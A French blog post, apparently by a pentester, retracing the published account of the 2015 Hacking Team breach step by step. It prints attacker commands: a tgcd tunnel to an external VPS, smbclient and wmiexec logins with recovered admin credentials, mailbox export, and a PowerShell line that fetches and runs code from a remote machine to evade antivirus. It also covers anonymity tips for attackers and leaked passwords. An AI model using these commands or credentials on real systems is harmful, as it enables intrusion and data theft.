Bref rappel du contexte : Hacking Team[1] est une entreprise qui conçoit et vend des logiciels malveillants ready-to-use aux gouvernements afin d’espionner les journalistes, activistes, opposants, etc. En Juillet 2015, ils ont été victime d’une attaque qui a exposé leurs données internes (emails, clients, zéro-days, etc.) sur Wikileaks. Des exploit kits ont repris leurs zéro-days, des hackers leurs outils, mais un épais brouillard entourait le mode opératoire de l’attaquant …jusqu’à dimanche dernier en tout cas
En effet, une note[2] publiée
le 17 avril 2016 sur Pastebin par la personne prétendant avoir attaquée Hacking
team, explique en détail sa démarche, ses outils et les challenges rencontrés.
Certes ce type de publication est à prendre avec des pincettes, mais vu la
qualité de la note, la cohérence des propos et le niveau technique affiché,
cela vaut le détour ne serait-ce que pour deux ou trois astuces.
1.
Stay
safe
Mener une attaque réussie
requiert en premier lieu une infrastructure qui garantit l’anonymat.
L’attaquant décrit sa procédure classique :
- Location de serveurs privés dans un pays non susceptible de coopérer avec le pays de la cible (paiement en bitcoin) ;
- Utilisation du
réseau Tor afin de se connecter sur ce serveur privé ;
- Accès au réseau
Tor via le WiFi du voisin ou depuis un espace public dans l’idéal -
optionnel;
- Utilisation d’un système d’exploitation où tout est routé via Tor (Tails, Whonix, etc.) ;
- Déploiement de ce système d’exploitation sur une machine virtuelle hébergée sur une partition chiffrée avec TrueCrypt en Hidden volume.
Toutes les requêtes d’attaque
ont été menées depuis le serveur privé qui disposait d’une bande passante
suffisante pour mener un scan de port, récupérer 40Go de données de la cible,
etc.
Le réseau TOR -disposant
d’une faible bande passante - permettait de se connecter sur le serveur privé
afin d’exécuter des scripts d’attaque, de reconnaissance, etc.
L’utilisation d’un VPN en
amont du réseau TOR peut être une option intéressante mais il est nécessaire de
choisir un fournisseur[3] qui ne journalise pas les accès et qui ne serait pas
coopératif face à une demande de données :
- AirVPN ;
- AzireVPN ;
- Proxy.sh ;
- …
2.
Reconnaissance
Une fois l’infrastructure en
place, l’attaque a débuté avec, en premier lieu l’incontournable phase de cartographie
afin d’identifier l’ensemble des actifs de Hacking Team exposés sur Internet.
Ceci a été effectué de
manière classique via une série de whois, reverse whois,… en partant du nom de
l’entreprise, son adresse, le nom du registrar, etc.
Étant de petite taille,
Hacking Team n’expose que très peu de serveurs sur leur réseau externe 93.62.139.32 - 93.62.139.47.
- Site Web sur le CMS Joomla ;
- Serveur
Mail ;
- Appliance VPN ;
- Appliance Anti-Spam.
Dès lors trois options se
présentèrent à l’attaquant :
- Identifier une faille 0-day sur Joomla, un scan via l’outil joomscan n’ayant rien révélé ;
- Identifier une faille 0-day sur Postfix - outil populaire d’envoi de mails ;
- Identifier une faille 0-day sur les boitiers VPN.
3. La
valeur ajoutée d’une appliance
“a 0day in an embedded device seemed like the easiest option”,
cite l’attaquant dans sa note. Perturbant
en effet que de préférer s’attaquer à un système embarqué inconnu plutôt qu’à
un CMS dont l’historique en matière de sécurité laisse à désirer. Ceci dit, deux
semaines de recherche ont suffi à identifier une vulnérabilité de type
injection de code à distance sur l’appliance VPN…
Nous n’avons pas le détail de
la vulnérabilité, toutefois nous pouvons imaginer qu’il a suivi l’approche
suivante :
- Identification la version et référence du routeur (mire d’authentification, verbosité des bannières, etc.) ;
- Téléchargement le
firmware ou bien le récupérer via du hardware hacking ;
- Fuzzing du firmware et/ou inspection manuelle du code désassemblé ;
- Découverte de la faille.
Le blog devttys0[4] référence
nombre de techniques et d’outils afin de mener ce type d’attaques.
Suite à l’identification de
la faille, il affina son exploit en le testant sur d’autres équipements
vulnérables. Une fois au point, il le déploya sur Hacking Team et mit à jour le
firmware du VPN afin de s’accorder un accès root à distance.
Dès lors, il pouvait se
connecter légitimement sur le routeur sans risquer de causer une
indisponibilité suite à l’utilisation de l’exploit.
4.
Préparation
du camp de base
L’idée, une fois la première
machine compromise, était de charger les outils d’attaque sur ce qui allait
devenir le camp de base de l’attaque. Puisqu’il s’agissait d’un système
embarqué, il lui fallut recompiler l’ensemble des outils classiques pour
fonctionner sur le nouveau noyau :
- busybox : contient tous les outils classiques Unix parce que, je cite -I wanted to feel at home in Hacking Team's network-.
- Nmap : afin
d’effectuer les scans interne ;
- Tcpdump :
sniffeur réseau afin de récupérer le trafic transitant sur la carte réseau –
utile pour récupérer les mots de passe en clair ;
- Python : car
Ruby ne fait tout simplement pas l’affaire… ;
- Responder : outil d’interception des challenges NTLM ;
- Tgcd : un redirecteur de ports afin contourner le pare-feu en routant le trafic via les ports autorisés (détaillé par la suite).
Le schéma de l’attaque est
illustrée dans la figure suivante :
5.
NoAuthentication
Un scan du réseau interne
depuis le VPN compromis permit d’identifier des instances de la base MongoDB
qui hébergeaient les enregistrement audio et vidéo de leurs activités internes.
Par défaut, cette base de
données NoSQL ne requiert pas d’authentification (à l’instar de ses compères
par ailleurs) et permit donc à l’attaquant de récupérer l’ensemble des données
stockées dessus [5].
6.
Convergence
LAN-SAN
Le scan interne révéla un
autre élément intéressant : un équipement
exposant le port 3260. Ce dernier correspondait à une interface iscsi : un protocole permettant de
communiquer avec des systèmes de stockage (SAN) via IP.
Encore une fois, aucune
authentification ne protégeait l’accès aux systèmes de stockage ce qui permit à
l’attaquant d’accéder à l’ensemble du contenu hébergé dessus.
L’attaquant ne pouvait néanmoins
utiliser le VPN compromis pour exécuter les commandes iscsi, car les modules
noyaux nécessaires ne pouvaient pas facilement être déployés sur le système
embarqué en question.
À ce moment-là, L’attaquant
eût recours aux outils de redirection des flux : tgcd, NAT dans iptables,
etc.
7.
Tunneling
mode
L’idée était d’utiliser le
serveur privé de l’attaquant (externe) afin de communiquer en iscsi avec le
serveur de stockage (interne), en contournant évidemment le filtrage qui
interdisait ce protocole depuis l’externe.
L’attaquant utilisa pour cela
l’outil tgcd qui établit un tunnel entre deux machines avec redirection du
trafic d’un port vers un autre :
- Une instance présente sur le serveur privé (externe) tournait en mode Listen sur le port 42838 ;
o
tgcd -L -p 3260
-q 42838 (sur VPS_IP)
- Une seconde instance présente sur le routeur compromis (interne) se connecta à l’instance externe sur le port 42838, établissant ainsi un tunnel entre les deux machines.
o
tgcd -C -s
192.168.200.72:3260 -c VPS_IP:42838 (sur
le routeur)
- De ce fait, le trafic local initié sur le serveur privé (VPS) à destination du port local 3260 était redirigé vers le port 3260 du SAN de Hacking team en passant par le tunnel.
Deux points clés intéressants
à propos de cette technique :
Le tunnel est
initié par le routeur compromis ce qui permet de contourner les règles de
filtrage, qui sont plus généralement plus laxistes envers les flux sortants.
·
Il est possible
d’utiliser les outils présents sur le serveur privé sans nécessité de les
recompiler;
Pour information une version précompilée de TGCD est
disponible sur l’environnement Windows [6]
8.
Récupération
des mails
Suite à l’établissement du
tunnel, l’utilitaire iscsiadm pouvait être exécuté sur le serveur privé
afin de se connecter de manière transparente sur le SAN .
$ iscsiadm -m node
--targetname=iqn.2000-01.com.synology:synology-backup.name -p 127.0.0.1 –login
La commande précédente a créé
localement le device /dev/sdb1 qui pointait vers le bloc de données au niveau
du SAN.
Il était possible ensuite de
monter de manière standard cette partition via vmfs-fuse:
$ vmfs-fuse –o ro /dev/sdb1 /mnt/tmp
Le SAN contenait des
sauvegardes de machines virtuelles, dont le serveur de messagerie. S’agissant
du format VMDK, il était nécessaire de localiser en premier lieu l’offset de la
partition à monter :
$ losetup /dev/loop0
Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT
L’offset étant de 2048 * 512 = 1048576 il était possible de monter le disque via les commandes :
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/
En parcourant le répertoire monté /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311,
L’attaquant y découvrit le disque VHD d’une sauvegarde du serveur Exchange :
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
Ceci lui donna donc accès à
une partie des mails sauvegardés sur le SAN.
9.
Escalade
de privilèges
Ayant accès aux sauvegardes
des machines virtuelles, l’attaquant inspecta les clés de registres via
cachedump, pwdump, ... à la recherche d’authentifiants : le compte
d’administration des serveurs BlackBerry, besadmin ainsi que son mot de passe
furent récupérés ainsi.
Il rejoua ces authentifiants
via la connexion sur le partage c$ du serveur Exchange (via proxychains afin de
rediriger l’ensemble des flux vers un second tunnel)
proxychains
smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
Bingo, le compte besadmin
possédait les privilèges d’administration locale sur le serveur, il était donc
possible de déchiffrer les mots de passe présents dans la mémoire du process
lsass.exe et ainsi récupérer le compte admin de domaine :
10. Récupération des données
Une fois admin du domaine,
l’attaquant s’est amusé à parcourir l’ensemble des partages réseaux et postes
de travail à la recherche d’information sensibles.
proxychains smbclient '//192.168.1.230/FAE
DiskStation' -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc
FAE_DiskStation.tar '*'
Il évoque dans sa note
différentes astuces facilitant la récupération d’information, mais qui
partagent toutes un seul point commun: Powershell..(avec quelques modules comme
PowerTools).
·
Récupération de
la liste de l’ensemble des fichiers présents sur tous les partages :
Invoke-ShareFinderThreaded
-ExcludedShares IPC$,PRINT$,ADMIN$ |
select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
select fullname | out-file -append files.txt}
·
Extraction des
mails[7] :
New-MailboxExportRequest
-Mailbox Administrator -FilePath \\AZUA\Exports\Administrator.pst
·
Récupération des
fichiers sharepoint [8]
11. Al ponte
Malgré la quantité de fichiers
récupérée sur le domaine Windows, il manquait toujours le golden egg de
Hacking Team : le code source de leur outil de surveillance Galileo. Ce
dernier, selon la documentation récupérée, serait hébergé sur le réseau
Sviluppo. Afin d’y accéder l’attaquant a ciblé les postes des administrateurs
Mauro Romeo et Christian Pozzi.
Le poste de Mauro n’exposant
pas de ports accessibles, l’attaquant a dû mettre à jour les règles firewall
via GPO afin d’autoriser le service WMI, qui contrairement à Psexec laisse peu
de traces sur le système et ne déclenche pas d’alertes au niveau des antivirus.
WMI peut être exécuté via un
script faisant partie de la bibliothèque Impacket :
wmiexec.py HACKINGTEAM/Administrator:uu8dd8ndd12!@xx.xx.xx.xx
La console WMI présentait une
invite de commande qui a été utilisée pour charger du Powershell en mémoire
depuis une machine distante afin de contourner l’antivirus :
cmd.exe /c powershell iex
(New-Object
Net.WebClient).DownloadString('http:///Machine_compromise_avec_PS_malveillant');
Ce script malveillant peut
être un meterpreter, mimikatz, la suite nishang[9], PowerSploit[10], etc.
Une fois sur le poste de
Mauro, l’attaquant enregistra les frappes clavier de ce dernier ainsi que son
activité sur l’écran. Il découvrit ainsi la présence d’un volume Truecrypt et
attendit patiemment que Mauro le déchiffre de plein gré avant d’inspecter son
contenu.
Il y trouva un fichier texte
contenant un mot de passe[10] qui permettait d’accéder à l’interface Web du
serveur Nagios utilisé pour surveiller le réseau de Sviluppo.
12. Récupération du code source de Galileo
L’interface Web divulguait la
présence du produit Centreon Entreprise Server. La version déployée présente de
multiples failles publiques (SQLi + Remote Code Execution) qui nécessitent
toutefois d’avoir une session active en cours, d’où l’intérêt de la
récupération du mot de passe dans l’étape précédente.
Une fois sur le serveur
Nagios, l’attaquant avait accès au réseau de développement et put accéder au
github privé de l’entreprise. Il réutilisa le mot de passe Windows d’un
développeur et accéda ainsi au code source de Galileo.
Game over…
13. Conclusion
Côté Pentest, nous retrouvons
dans la démarche présentée beaucoup d’outils et techniques que nous utilisons régulièrement…d’autres
un peu moins : bases NoSQL, SAN, WMI, etc.
Au final cela fait un
scénario d’attaque intéressant à garder en tête.
Terminons ce focus sur une
phrase emblématique de l’attaquant : “
Thanks to hardworking Russians and their exploit
kits […] Almost all of the Fortune 500, with their huge networks, have some bots
already inside”.
Références :
Ayoub ELAASSAL
Aucun commentaire:
Publier un commentaire